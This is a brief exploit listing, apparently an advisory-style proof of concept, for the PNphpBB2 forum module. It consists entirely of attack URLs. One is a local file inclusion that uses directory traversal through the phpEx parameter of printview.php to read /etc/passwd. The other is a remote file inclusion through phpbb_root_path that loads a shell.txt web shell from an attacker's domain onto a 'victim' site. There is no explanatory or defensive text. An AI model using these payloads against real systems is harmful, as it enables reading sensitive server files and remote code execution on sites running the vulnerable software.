http://[host]/[path]/modules/PNphpBB2/printview.php?phpEx=/../../../../../../../etc/passwd http://[host]/[path]/modules/PNphpBB2/printview.php?phpEx=[ LFI ]
http://www.victim.com/[pn_phpbb]/includes/functions_admin.php?phpbb_root_path=http://yourdomain.com/shell.txt?